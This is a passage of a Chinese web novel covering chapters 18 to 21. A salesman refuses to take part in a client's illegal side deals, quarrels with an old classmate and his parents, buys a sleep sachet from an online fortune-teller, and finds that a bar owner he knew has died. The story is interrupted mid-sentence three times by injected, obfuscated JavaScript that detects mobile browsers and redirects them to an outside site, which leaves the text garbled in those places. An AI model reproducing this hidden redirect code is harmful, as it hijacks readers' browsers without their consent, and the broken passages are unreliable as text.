一开始是没打算回来的,要不是孙勇非得今天去找阳总,他都打算这个周末不出门了,或者出门就是去望老板那儿泡着。 还没走到楼下,他远远地就看见了一个身影。 孙勇。 杜鸻下意识往阴影里藏。 他今天没待到最后,中途就走了算是他的不地道,但他之前也说过了,能不能成是孙勇自己和阳总的事儿,跟他没有半点关系。 而且他走的时候也发信息说过了。 现在来找他是几个意思? “杜鸻?别躲了,我看见你了。” 孙勇的声音由远及近。 杜鸻无语了一下,从阴影里走出去,“回来了?” 孙勇“啊”了一声,笑着朝杜鸻肩膀捶了一拳,“应酬去了啊?难怪我说在你家楼下等你这么久都没见你人呢,我上去问过叔叔阿姨了,说你还没回来,我就在你家楼下等。” 杜鸻掏出手机看了眼,没有未接电话也没有没回复的信息,“怎么没给我打个电话?万一我今晚不回来呢?” “不会,阿姨说了你要是周末回来的话肯定会在家里待满一个周末,除非有事儿。有事儿你也会提前和他们说。”孙勇朝他们小区门口的方向抬了抬下巴,“还行不行?出去再喝点儿?顺便聊聊?” 杜鸻是真不想喝了,“不去了,就在院子里聊吧。” 两人找了个地方坐下。 这个点不晚,院子里挺多老人在饭后散步的,身边带着孩子,叽叽喳喳地也还算热闹。 孙勇问:“杜鸻,我今天才算真的看出来了,阳总是真的挺器重你的。这么好的客户你不看紧点儿就算了,怎么还主动把人让出去了?” 杜鸻笑了声,没反驳孙勇的话,“你和阳总的合作谈成了?” “差不多吧。”孙勇抬手搭在杜鸻肩膀上,语气有点沉,“阳总有个条件。杜鸻,兄弟真的需要你再推一把。” 杜鸻一听,抖掉孙勇搭在他肩上的手,如果不是椅子是固定的,他还能往旁边挪一屁股,“什么意思?” 孙勇实话实说,“阳总跟我说了你那个项目的事儿。唉,我知道这是你自己的事儿,你得自己决定。但是杜鸻,我真的很需要这个项目。阳总说了,如果我能劝动你,让你……” “不可能。”杜鸻猛地站起来,酒劲儿上来了,声音也拔高了不少,“我不可能再参加和阳总有关的任何项目!任何!” 孙勇压根没想到只是个项目的事就能让杜鸻这么激动,他有点懵,“不是,杜鸻你那么激动干嘛?阳总是给你介绍项目,又不是逼着你犯法……” 不提还好,一提到“犯法”俩字儿杜鸻直接当场炸了。 “他是没逼着我犯法,他直接给我下套了,让我稀里糊涂地犯法了!” 杜鸻的声音不小,周围人又多,“犯法”俩字儿足够引起周围人的注意力了。 老院子里就是这样,甭管楼和楼之间离得多远,大家都是互相熟悉的,哪怕一时间叫不出来对方的名字,但也大概知道是哪家的人,家大概住在哪儿。 孙勇这种已经搬出去挺久了的,院子里的叔叔阿姨爷爷奶奶都还能认出他来,更别说杜鸻这种一个月能回来个两三回的。 再说了杜鸻他爸杜俊朗在整个院子里还是有名的棋手,几乎整个院子会下棋的都跟他下过棋。 杜鸻这一吼,估摸着第二天一早就得传满整个院子。 孙勇赶紧拉着杜鸻坐下,大声对周围的大爷大妈说:“他喝醉了,撒泼呢,我们聊做梦的事儿,不是真犯法啊。爷爷奶奶叔叔阿姨的千万别信!” “嗐,做梦啊。” “这小杜,喝了不少吧?赶紧把他送回去,老杜和老林不得担心坏了啊。” “知道知道,一会儿我就把人送回去。”孙勇看其他人没再围观了,松了口气,压低声说,“刚还挺清醒的你怎么突然这么疯?杜鸻,你以前不这样啊,没想到喝了几杯马尿跟我们一个尿性。” 杜鸻也冷静下来了。 刚才他吼完就后悔了,酒精上头的时候就是这样,特别容易做一些不靠谱的事儿。还好孙勇反应快,帮他圆过去了,但是这个理由听起来还真的挺劣的,稍微再回味一下就能知道这个理由根本站不住脚。 他酒完全醒了。 “我刚……算了,你就当我什么都没说。”杜鸻抹了把脸。 他干过那么大声谁都听见了,再躲也不现实。而且他既然说了,那就当是给孙勇一个提醒,让他知道阳总是什么人。他当然知道做生意的人里没有几个手段干净的,毕竟手段太干净也做不了大事儿,总得染上一些灰色的东西。 但…… 能提醒一个是一个吧。 至于孙勇听不听,那跟他没关系。 孙勇压低声,“杜鸻,我没想到你进社会这么多年了还这么天真。” 杜鸻蹙眉抬头。 什么意思? 孙勇说:“我不知道你跟阳总之间到底发生了什么,阳总到底怎么你了能让你气成这样。但是你想想,阳总人家那么大个客户,给你带来的生意不少吧?把阳总牢牢把握住了,你想要什么没有?提成算少的,他要跟你做别的项目,你低调一点,你经过公司,算你自己的私账,能赚多少你自己想想!这年头你想好好赚钱啊?正儿八经的路子根本行不通!再说了你现在不是好好的么?什么犯法不犯法的,你说得太严重了!” 杜鸻看着孙勇,直接气笑了。 他就知道自己和孙勇不是一路人。帮的这一趟也不过是看在家长的面子上,毕竟孙勇都直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14990339|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到他爸妈这儿来了。 现在好心好意地想拉人一把,结果对方说什么?说他天真?觉得他不识好歹,是在多管闲事? 他就真活该被骂这一遭! “好,好好,你说得对,你说得都对,行吧?”杜鸻甩开孙勇,“他的钱你喜欢赚你赚,我不想赚。有手有脚干什么不行,大不了我不在这行干了。我的态度就在这,我不可能再参加和他有关的项目,我是微不足道但我不是傻逼。你乐意干你干吧。我早就说过,你的项目能不能成是你的事儿,跟我没关系。到此为止吧。” 杜鸻说完,转身就走,懒得再理孙勇说什么。 反正他本身就不喜欢孙勇这个人,这个人活得怎么样跟他有什么关系? 回到家,林桂女士见他就说:“回来了?孙勇今天来过家里了,好像有事找你。他给你打过电话没有?” “楼下碰到了。”杜鸻压下了自己的脾气。 林桂不知道他俩吵了架,还在当和事老,“你们是同学是朋友,以前他也常来家里跟你玩的。都是街坊邻里的,有什么能帮的就帮一帮,万一以后也有用得上他帮忙的时候呢?” “妈,”杜鸻疲惫地看着老妈,“我跟他根本就不熟。如果你们和他的父母很熟的话,那你们来往就可以了。不用扯上我。他的事情我以后不会再管,我们根本就不是一路人。以后他再来找我你就别理。” “嘿,你这孩子,他招你惹你啦?”林桂苦口婆心,“阿鸻,你也老大不小了,有些事情你要学会处理。要懂人情世故。不能再像小时候一样了。” 杜鸻没耐心了,“我小时候是怎么样的?行了妈,我的事儿你别插手也别管,你根本管不明白。” 杜俊朗一听,虎着脸也站出来了,“你怎么跟你妈妈说话的?” “我也想好好说,可你们真有人听我说一句么?”杜鸻的脾气又上来了。 他也不知道自己怎么了,明明把大部分的工作都交接出去了,整个人应该是轻松的,事实上他也是轻松的,但现在就是忍不住多顶两句。 顶完嘴了,他又后悔。 他不是懒得跟他爸妈说工作上的那些事儿,只是他自己能处理的也没必要去给他们说。他们帮不上忙还白担心。 可现在,他们非得在什么都不懂的情况下插一脚,他能压得住脾气才有鬼了。 “抱歉,”杜鸻摁了摁眉心,“我最近不太顺。总之你们俩别管了,该浇花浇花,该下棋下棋。让我清静清静吧。” 说完他就上阁楼去了。 家里隔音不怎么样。 他在阁楼上都还能听见他爸妈在楼下说话。 他妈是担心他的,担心他的精神状态,担心他不懂得人情世故,担心他没朋友,担心各种。 但他爸的想法还行,说他在销售这行也干了这么久了,大环境好的时候也赚了不少,他要是没有一点情商,不懂得人情世故的,能干那么长久么? 那必然是不能。 最后他老妈算是放弃念叨了,整个家重新回归平静。 再晚一点,他下来洗了澡再上去。 他的桌上放了一杯热牛奶。 他老妈悄悄上来过了。 热牛奶下边还压着一张字条—— [好好休息吧,别太累了。] 19.第 19 章 杜鸻又做了一宿的梦。 不知道是不是之前和孙勇吵了一架,他竟然梦到孙勇和阳总的合作达成没几天,两人就双双被抓。两人都是经济犯罪,阳总被判得很重,孙勇还好,不到三年。 孙勇被抓被判这件事传遍了他们院,后来他老妈知道了就跑过来跟他道歉,说自己才知道原来孙勇竟然是个不学好的,专门做这种犯罪的勾当,幸好当初他早早地看清了孙勇的真面目,才没让自己和孙勇一样。 一时之间,孙勇成了院子里所有人饭后的谈资,所有家长用来教育小孩的反面教材。而同样也还在院子里的杜鸻则成为了完全正面的那一个。 这个梦做得太过真实,真实到他起床的第一时间就去看阳总和孙勇的朋友圈,去搜当地的新闻。 他当然什么都没有搜到。 梦里的他没觉得幸灾乐祸,梦外的他在知道这只是梦的时候也松了口气。 不管阳总怎么样,至少他还是希望孙勇不要陷得太深,有时候为了赚钱是真的没必要赔上自己的前途。 * 杜鸻从阁楼上下来的时候家里没人。 老妈把早餐放在了桌上,老爸估计又找人下棋去了。今天是个难得的大晴天,老人在家里根本待不住。 杜鸻吃了早餐后又回到阁楼上。 他自己常用的工作电脑没带回来,家里倒是还有一台以前上大学的时候用的。现在还能开,运行没什么问题,甚至还能用来打游戏。 他打算玩个游戏放松一下,刚打开客户端就被提示客户端的版本过旧,需要进行更新升级。他一看要升级小十个G,当即放弃了。他随便找了部电影放着,看着看着脑袋就开始放空。 最近发生的所有事在脑子里像是电影放映似的,还是被剪得稀碎的那种。他抓不住任何一个重点,但又能看到很多细节。等他从回忆里拔出来的时候,又发现自己好像什么都想不起来。 他好像不仅仅是记忆,连记性都出了问题。 他又打开微信,回了小徒弟和严潘还有几个同事的信息后,他往下翻,看到了已经沉到下面去了288大师。 他先看了288大师的朋友圈,有在正常发,而且看起来业务繁忙。上回大师说的算是说到了他的心坎里去了,而且他也说了云大师的香包是有效的,可以继续用,但并没有说如果香包失效了要怎么办。 让他去找云大师是不可能的事儿,因为他不想再与跟阳总有关的人有任何接触,但或许这位288大师能有什么解决的办法。 他谨慎地先问了一句“在吗”,很快得到了288大师的回复。 【大师:缘主,好久不见。】 【杜鸻:大师好久不见。有件事还希望大师解惑。】 杜鸻给大师说了香包失效了的事,原本还想说一说望老板的事儿,但一想到这是望老板自己的私事,他实在是不好说,就只能隐晦地提了一嘴关于他能看到某个人身上有“神光”的事。 【大师:先解其一。如果之前那安神的香包一直有用,现在却没用了,那不是香包出了问题,而是缘主的身体出了变故,原本的香包已经无法护住缘主的气血了,需要更换,建议去找原来的那位道友。】 【大师:再解其二。有些人天生比较有灵性。这里的灵性可不是平时大家谈论的那种在某一方面非常有造诣啊这类的。这里指的是,容易和“灵”有交流的人。有些有灵性的人会开天眼,开了天眼就有可能看到每个人身上的“气”。人不同,气不同,辉光不同。】 杜鸻看得云里雾里,正想问“辉光”是什么的时候,大师又说了。 【大师:看来缘主也是一个颇有灵性的人。之前说的那些都解释得通了。】 杜鸻看得直愣神,哪儿有那么夸张。 【杜鸻:大师,那这种灵性是好还是不好?】 【大师:天生带有灵气,那自然是好的。只不过不好好打磨利用的话,容易疾病缠身。】 【杜鸻:那有破局的办法吗?或者大师能不能帮我算一算,我之后的运势?】 【大师:算自然可以。缘主是否方便给个姓名和八字?如果不知道八字,也可以给出生年月日以及出生具体时间,能具体尽量具体。不能也不要紧。】 杜鸻深吸一口气,有点犹豫。 他虽然不信鬼神不信算命,但也听说过如果真的要算运势什么的,那必须得给生辰八字的。可这不就相当于信息泄露了么? 还是他主动泄露出去的。 这让曾经做代码工作的他有点不太情愿。 大师没有催促。 杜鸻想了又想,觉得他既然要让大师算他的运势,别说是姓名和生辰八字了,就是他的未来大师都帮他看好了,他几乎是透明的,还有什么隐私可说? 算吧。 杜鸻给了自己的生日和具体的出生时间,很快大师就把他的八字给发了过来。他看不懂,就只能等着大师继续给他算。 【大师:缘主,近日大事小事都需注意防小人。】 【杜鸻:防小人?大师的意思是我接下来一段时间可能还会遇到那种被小人陷害的事?】 【大师:大差不差。太具体的不可说,总之缘主近日一定要多方注意。另外,不管遇到什么都放宽心,不要有太重的心理负担,否则对自身的气运流转没有什么好处。】 不要有太重的心理负担。 杜鸻盯着电脑屏幕出神。 这话说得倒是轻松,他但凡能控制,也不会在医院那检查出来什么焦虑症了。 不过他还是回了句好,再随了个288。 上次他也就是找大师咨询了几句,都随了个288,这次都让大师给他算卦了,比288少怎么也说不过去。 大师很快收了钱。 他又想到了香包的事。 【杜鸻:大师,您这边能请类似的香包吗?我不想回去找上次那个大师了。】 【大师:有的。不过缘主,一般情况下,最好还是找到原来给你香包的人看看具体情况。】 【杜鸻:那不一般的情况呢?】 【大师:我这里也能请。不过不同的香包要随的可不同。】 【杜鸻:钱不是问题。大师您看看我现在的情况要请什么样的合适?】 大师让他去把之前的香包拆了,把里面的东西拍过去。 杜鸻没把香包带着,但都话赶话到这了,他干脆回去拿一趟。 他关上电脑下楼的时候正好碰上了买菜回来的老妈。 林桂女士问他,“起来了?正好,动一动,一会儿吃午饭了。” “啊,起来了。”他往下走了两步,“我出去一趟,晚点回来。” 林桂女士:“中午回来吃饭吧?” “吃。”杜鸻从老妈旁边擦过去,弯腰穿好鞋后,说,“妈,昨天对不起啊。我最近事儿太多了,心情不太好。” “哟,”林桂女士觉得新鲜,“你这孩子还知道反思了?行了,你爸跟我说过了。知道你们年轻人压力大,容易闹点脾气。没事,多大点事儿啊?去吧,赶紧去,中午回来吃饭。” 杜鸻点头,转身出门了。 他下楼的时候一步三回头,总觉得有点不对。 他老妈是个直爽的性子,有什么说什么,哪怕是有脾气也会直接发出来,不会像今天这样阴阳怪气的。 什么叫“还知道反思了”?他以前难道不这样么?他们家的人不一直都是错了最晚第二天肯定认错了。 不都是这样的么? 他又记错了? 他打了辆车走的。 那个香包他一直放在枕头下。 虽说他记忆错乱的情况没有任何缓解,更别提好转了,但这香包还是有一定安神作用的,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【杜鸻:那麻烦大师了。我想请个888的香囊。】 【大师:[我分享了一件商品]】 【大师:在这里请。】 还有桃子店,看来挺正规。 杜鸻打开桃子店的链接,发现这里面除了香包之外,还有很多小物件。这店的装修看起来就是老店了。 他放心地下了个888的香包,地址写的是他这个出租屋的地址。 反正出租屋以后是要换的,真给家里的地址他才是真不放心。 下完单后,他又叫了一辆网约车。 临出门前,他看了眼开着的客厅窗户,想了想还是走过去关上了。 他回到家,下意识看了眼墙上的挂钟。 巧了。 11:20。 是个整数。 但按照之前的情况来推,他这次看到的应该是11:05才对。 竟然多了15分钟。 难道那个规律被打破了? “哎哟,一回来就发呆啊?赶紧洗手去,准备吃饭了。”林桂女士端着一锅砂锅汤从厨房里出来。 杜鸻看了眼喷香的排骨汤,顿时觉得饥肠辘辘,刚回来的时候还没觉得饿呢。他洗完手准备往客厅走的时候,突然反应过来他老妈刚说了什么。 怎么又阴阳怪气上了? 还是他想多了? 杜鸻表情古怪地坐到餐桌边,“我爸又找人下棋去了?” “是啊。不管他,咱们吃。”林桂女士盛了两碗汤。 这话倒是说得和以前一样。 杜鸻暗暗松了口气,喝了口暖汤。 汤的味道也是一样的。 果然之前的都是他的错觉。 20.第 20 章 杜鸻请的香包第二天就到了,速度快得以为是同城的。他看了眼发货地,已经和他这儿跨了好几个省。不过大师总有大师的方法,现在他急需用上这个香包,看看他记忆错乱的情况有没有好转。 他没着急收货,先用了两天试试看。新的香包一换上,他晚上不仅不做梦了,一觉睡到天亮,白天的时候精神头还很足,仿佛整个人有使不完的牛劲儿似的。 收货后没着急评价,用了一周后发现自己的记忆力逐渐恢复了,不说是过目不忘,但至少没有再出现像之前那样的别人的记忆和自己的记忆对不上的情况。 严潘都夸他现在简直就是“容光焕发”。 “你最近吃了什么灵药了啊,脸色这么好。”严潘摸了摸自己的脸,“我这个天天摸鱼的人都要自愧不如了。” 他还没说话,严潘又神秘兮兮地来了一句,“是因为那个288?” 他幽幽地看着严潘,心里嘀咕:什么288,这次是888! 他真的是下了血本了。 “睡好了而已。” “现在不做梦了?” “不做了。” “那看来有病及时去看医生这事儿还是挺靠谱的。”严潘翘着二郎腿晃了两下,“最近发现没,老马的情况不太对啊。之前不每天都怨念得不行吗?天天路过你这儿还瞪你两眼呢,现在不一样了,人家走过去的时候趾高气昂的,又变成以前那个目中无人的老马咯。前两天你不出外勤了么,不在,老马直接跟经理干起来了。你不知道那动静大得啊。不知道的还以为他第二天就要当经理了呢。” 前两天杜鸻确实出了个外勤,去跟手头上目前的一个合作方谈新的合作。整个过程都非常顺利,顺利到他对这事儿都没什么太深的印象。要不是严潘提,他真的都忘了。 “后来呢?” “后来啊,”严潘笑了一下,“被通报批评了呗,那通知还挂在那儿呢,你没去看啊?哦对,我忘了,你是不喜欢看那个通报栏的那种。不过现在也不妨碍他天天牛逼哄哄的啊。” 杜鸻看着马组长的位置,若有所思。 马组长接手了他抛出去的阳总,之前估计被阳总折磨得不行,所以每天往他这儿路过的时候都是阴沉沉的。阳总之前也说过,马组长有些事儿干得还不如他,所以希望他能合作一些新的项目,就走个人账。他拒绝后不还是有孙勇来劝他么。 这段时间各方都安静得很,难道是阳总放弃了,觉得马组长比他这个犟驴更上道,让马组长接了那些私活儿? 他觉得这个可能性很大,否则马组长最近怎么会这么牛气。 他正想呢,马组长就晃到他面前来了。 “杜鸻啊,多亏你之前申请退居二线啊,否则阳总这么好的客户非得烂在你手里边不可。好啊,好啊。” 马组长又抬着下巴走了。 严潘压低声,“他这是炫耀来了?” “是吧。”杜鸻无所谓地耸了耸肩,“无所谓,他要觉得阳总能给他想要的,那就让他去拿。反正阳总我是伺候不来了。” 严潘打趣道:“你就一点都不羡慕嫉妒?” 杜鸻笑了一下,“你羡慕你当时怎么不抢?” “算了,我这种人吧,天生就不是劳碌的命。”严潘也坐在电脑椅上滑回去了。 小徒弟欲言又止,好几次脸都转到杜鸻这边来了,但就是一句话都不说。杜鸻就烦他这个小徒弟这样,“有事儿说事儿。胡总那儿不顺利?这一期的货不都发完了么?” 小徒弟愁眉苦脸的,“是发完了。之前我和胡总签的不是季度合同,是月度合同。现在眼看着就要签下一个月的合同了,之前胡总也答应得好好的,说是愿意继续跟我们合作,但是就是希望价格能再压一点。师父,可我现在还没有压价的权限啊。而且我看胡总那个样子,也不像诚心想跟我们合作的。” 杜鸻听明白了,他往椅背一靠,“那你打算怎么样?” 小徒弟:“我还是希望能促成胡总这单,把胡总拴住。毕竟胡总是阳总的朋友,资源人脉什么的也肯定不会太差。反正……” 小徒弟又不说了。 杜鸻给小徒弟出了个主意,“你要真觉得胡总这个客户能处,那就继续认真跟,他有什么要求尽量满足,但是你注意一点,咱们跟客户都是双向选择,而且咱们公司有实力,没太必要放低自己的身段,要注意谈判的节奏。” 小徒弟似懂非懂,但脸色明显比之前好了。 杜鸻把小徒弟放回去工作。 * 周五下班,杜鸻打算去一趟世外酒馆。 那天从酒馆回来,在家里楼下遇到了孙勇,聊了一段不怎么样的天之后,他就没再去过酒馆。算一算也差不多两周了。望老板竟然也没催他,不知道是不是对他的技术太放心了一点,都没催着他去学调酒了。 “师父!”小徒弟叫住他。 杜鸻一脚都踏进电梯里了,不得不回头,“有事?” 小徒弟抱着包跑过来,“师父我跟你一起走。” 杜鸻一眼就瞧出了小徒弟的古怪,“说几遍了?有事儿就说,别拐弯抹角。” “是有件事,需要师父帮个忙。”小徒弟一副不好意思的样子。 杜鸻:“关于胡总的?” 小徒弟惊讶,“你怎么知道?” “要是别的事你能这么扭捏么?男人嘛,大大方方的。”杜鸻抱着手臂靠在轿厢上,“具体什么事?” 小徒弟说:“胡总开了个条件,说我想要把后面的合同续上也可以,但是需要让我带你一起去今晚的应酬。” “今晚?”杜鸻蹙眉,“怎么不早说?” 小徒弟有点紧张地看着杜鸻。 杜鸻在心底“啧”了一声,看来他今天是去不成世外酒馆了。他拍了一下小徒弟的胳膊,“阳总不会也在吧?” “不会,阳总肯定不在。胡总说了,今天是单独的饭局,就我们三个。”小徒弟说得信誓旦旦。 杜鸻信了,出了公司大楼后和小徒弟一起打车去胡总定好的地方。 他相信今晚的饭局上只有他们三个人,但却不相信胡总非得让他来这个饭局会和阳总没有关系。阳总和胡总表面上看着是朋友关系,但实际上应该还有合作。 上一次在会所里看见胡总的时候,他和阳总应该就在谈事情,而且看样子顺利度一般,只是表面上的和气。或许后面谈成了,但保不齐下一个阶段的合作还得再重新谈。 阳总是个实打实的商人,之前合作的时候他就已经发现了。阳总想要什么东西,就会利用身边的一切来达成这个目的。之前让孙勇来劝他的时候是,之前因为他和小徒弟一块去找的胡总,阳总做东请吃饭谈生意的时候也是。 估计阳总在和胡总的合作上也谈到了要拉他下水的事儿,并且以这个作为条件了,否则今天非得他一块来干什么? 胡总已经在包厢里等着了。 胡总只带了一个助理,确实没有别人。一场饭局下来,杜鸻和小徒弟都被灌了不少酒。而且这胡总话里句句不提阳总,但是句句都在让杜鸻替他在阳总面前多说一点好话。 杜鸻这段时间的酒力已经算是练出来了,人看着醉,脑子却非常清醒,有点亢奋但是不糊涂。他跟胡总虚与委蛇了一整晚,疲惫得不行,最后就换来了胡总一句明天在他们公司见面聊。 那今晚这顿饭吃了个寂寞。 杜鸻叫了辆车把小助理送回家,人上车前,他对小助理说:“你确定这个胡总你还要继续跟?” 他不是不知道新的单子没那么好谈,也知道现在他小徒弟遇到的这种情况很常见。生意本来就是互惠互利,在生意之外想要拓展新的人脉,这算是非常常见的手段之一。 但他还是那句话。以他们公司的实力,这样的单子能谈谈,不能谈那就拉倒吧。没所谓的。 小徒弟坐在车里,仰着头看他,眼睛正好藏在车窗打下来的阴影里,“师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15035021|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父,我觉得你说得对。” 他问:“什么?” 小徒弟说:“之前你说的时候我还不信,我一直觉得胡总只不过是觉得我就是个新人,想让师父在场的情况下再跟我谈这个合作。我今晚都把合同带上了,我还以为能签了。结果……跟师父你说的一样。胡总这单我不跟了,我不能让师父为难。” 杜鸻心情复杂地看着他这个小徒弟。 他的小徒弟是这年轻,到现在手里边没有几个是靠着自己的本事谈下来的合同,否则早就出师了。 做他们这一行的,入行的时候会有人带,尊敬地就喊一声师父,正常呢喊一声哥姐的就行了。小徒弟实诚,一分到他这儿就直接喊他师父了。人勤快,嘴也甜,但实际上对外的时候胆子有点小,有点社恐。 能让他这小徒弟说出要把握哪个客户的话不容易,说出这种放弃哪个客户的话也同样不容易。 他挺受用的,真的。 “行,不考虑胡总了,之后师父再带你找几个客户,至少让你考核达标。”杜鸻揉了一下小徒弟的脑袋。 小徒弟笑了,脑袋伸出车窗,“谢谢师父!” “回吧,到家报平安。” 杜鸻把小徒弟送走后,回头看见胡总的助理就在一边等着,距离不远不近,估计刚才的话已经都听全了。他也不尴尬,毕竟这种事儿本来就是双向选择。 他略过胡总助理,走向公交车站。 “杜先生。”胡总助理跟上来,“您家住哪儿?我送你。” 杜鸻避之不及,“不用,我公交车直达。你也别开车了,喝了酒,被抓那就不好了。” 胡总助理面不改色道:“我已经叫了代价,胡总正在等。” “那你就别让胡总久等了,赶紧回吧。”杜鸻摆摆手。 胡总助理站定了,“杜先生,胡总想跟您好好聊聊,关于之前那份合同的事。是你和阳总之间的那份合同!” 杜鸻猛地刹住脚,心里的火瞬间被点燃了,“你什么意思?你威胁我?胡总又是怎么知道那个合同的事的?” “您忘了胡总和阳总的关系了吗?”胡总助理说。 这话说得有点暧昧。 胡总的地位摆明了和阳总不能对等,阳总也不可能把这件事直接透露给胡总,毕竟像阳总这么聪明的人怎么可能让能够威胁到他的人拿捏他的把柄! 之前之所以会告诉他真相,不过是看在他就是一个普通的业务员,没有靠山也投诉无门罢了!把他拉下水,让他觉得自己和他们在同一条船上才是稳的,不敢轻举妄动,否则后果承担不起! 他是承担不起这个后果,所以他不是躲了吗?! 和孙勇闹掰,躲了!现在又来一个胡总,到底想干嘛?! 他没有那么重要吧! “随便什么关系吧,合同的事儿和我没什么好谈的,要谈去找阳总别来找我。如果胡总觉得这是个把柄,那就尽管去和阳总谈!我就是一个微不足道的业务员而已,我决定不了什么。再也不见。” 杜鸻气性上来了,他也懒得去琢磨胡总到底知道多少,这事儿到底是阳总透露的还是胡总自己查了发现的,他都无所谓! 大不了进去蹲两年! 他去就是了! 正好公交车来了,杜鸻飞快跑上车,不给胡总助理再说的机会。 杜鸻坐在第一排,正好能从公交车的后视镜里看到还在原地站着的胡总助理。他看着胡总助理的身影消失在后视镜里,得意地用力捶了一下扶杆。 他的视线正好和车内后视镜里公交司机的眼神对上了。 公交司机仿佛在看一个神经病。 他趁着红绿灯的空隙,飞快地往后排走。 司机师傅回头喊了声,“小伙子你没付钱!” 车上人不算多,但视线都很扎人。 杜鸻捂脸到前排投币处扫码,又再折返回去。 他今天真是! 又爽又尴尬! 21.第 21 章 胡总没再来纠缠,杜鸻问了小徒弟才知道,是小徒弟自己主动放弃了胡总的这个项目。反正之前第一期的款项都已经结算完了,和胡总这边也算是两清。 没有了胡总和孙勇的纠缠,杜鸻觉得自己的日子又重新回到了正轨,加上大师给的香包让他每天睡得都很安稳,日子正常到他都快忘了自己身上的问题。他没吃药,也没再去医院。 好不容易又闲下来的时候,已经五月了。 他们这一行的淡季就正好在五到七月份,八月份开始逐渐回暖,之前忙的单子也正好够撑完这几个月。 杜鸻终于找到时间去世外酒馆了。 “哎,就走了啊?今晚有事儿没事儿?”严潘突然拦住杜鸻。 杜鸻好不容易找到时间去一趟小酒馆,懒得再被其他的事情耽搁,“有事儿。干嘛?” 严潘:“喝酒去啊。都多久没一块去喝酒了。最近你这精神状态不是越来越好了么,喝两口。” “不去。”杜鸻嘴快道。 明明他去小酒馆也是喝酒,叫上严潘一块就什么都刚刚好,两全其美。但不知道为什么,他就是不乐意叫,就想自己去。 严潘“啧啧”两声,“你是不是处对象了?” “……没有。真有事。”杜鸻不想和严潘再纠缠,把人往旁边一拉就往电梯间走。 电梯正好到了他们这一层,他一个大跨步走进去,看着严潘被关在电梯门外,松了口气。 严潘的声音透过门缝传进来,“被鬼撵了你!” 杜鸻不知道怎么的,特别乐。 他飞快地往小酒馆赶。 他到的时候,小酒馆的灯牌是灭的,下去的通道门也是关的,而且看这个样子,已经关了一段时间了。 这小酒馆偏,但周围却很热闹。 一个大姨路过,看见他在小酒馆面前站着,就提醒了一句,“小伙子别等啦,这酒馆不开了。早两个月都不开了。” 杜鸻心底一沉,“怎么呢?为什么不开了?” 大姨摇摇头,“听说老板没了,被人发现的时候啊,唉。” 没了? 杜鸻踉跄两步,“怎么会……没了呢?大姨你是不是听错了啊,可能老板只是搬走了或者是彻底关门歇业了,怎么会……” 大姨“唉”了一声,“这种事儿我能乱说啊?不可能听错!这老板租的是我姐妹的老表家里的房子,绝对不会错。” 大姨走了。 杜鸻站在门口待了好长时间,久到华灯初上,周遭车水马龙。 只有小酒馆的灯一直黑着,甚至都没有人愿意从小酒馆门前路过,绕了一圈,宁愿踩到草坪上去,也绝对不走小酒馆门前连着草坪上石子路的这条路。 世外酒馆。 这下真的成了这闹市里的例外。 车水马龙没了,连路灯都暗了下去。 杜鸻看了眼时间,十一点四十分。 又比上次看到的时候快了二十分钟。 不对,这个时间规律早就已经被破坏掉了,多了多少分钟其实并没有什么区别。 杜鸻摸了摸门上的锁,决定改天再来。 望老板的房子是租的,那就说明这个小酒馆的地方或许也是租的,他得找个时间来问问,和这里的房东联系,重新把这里租下来。 望老板留下的酒馆,他来开。 杜鸻回到家的时候已经差不多凌晨一点了。 今天受了大打击,他睡不着。 他有点纳闷,望老板之前看着都好好的,虽然是个开酒馆的,但是平时他都没怎么见过望老板喝过酒,倒是抽烟,可也很少。按理来说望老板是个身体很健康的人,怎么能这样也说没就没? 他开着电脑,上面是搜索的网页。他无意识地搜了很多东西,譬如“人为什么会无缘无故死掉”,又譬如“人死的时候是什么感觉”,还有“原本很健康的人为什么会突然死亡”…… 搜的每一个词条都是他心里想的,他一直都疑惑的。但是答案那么多,却没有一个能真正地得到他的承认。 杜鸻趴在桌子上睡着了。 入五月后,气温出现了两极分化,早晚冷,中午和下午的时候比较热。 他感觉自己睡了没多会就被冷醒了,醒来一看,他的电脑屏幕还亮着,上面还有他最新搜索的词条。 [平行空间] 望老板说过一句话,他到现在都还记得。 “那你有没有想过,我的朋友在这个世界里是死了,但假如还有另一个一模一样的世界,那里死的是我,活的是他呢?” 所有有没有可能,望老板在这个世界没了,但在另外一个一模一样的世界里还好好地开着世外酒馆,而他作为那个半吊子学徒,几乎每天都去,最后把所有酒的配方都学到了呢? 他没忍住笑出声。 这听起来还挺有意思的,就是有点扯。 这个词条跳出来的衍生话题有很多,有些人和杜鸻一样,遇到了差不多的事儿。也有人问—— “友友们,我有一个不成熟的问题啊。咱就是说,如果在其他的平行世界里也存在着一模一样的我们,我们在现在的这个世界消亡了,是真的会在另一个世界里重生,取代另一个世界的自己还是怎么样?如果我们的记忆被‘移植’到另一个世界的自己身上,那那个人还是我们吗?” 是啊。 杜鸻想:另一个世界里的望老板好好地活着,开着小酒馆,哪怕也遇到了另一个他,那还能是同一个人吗? 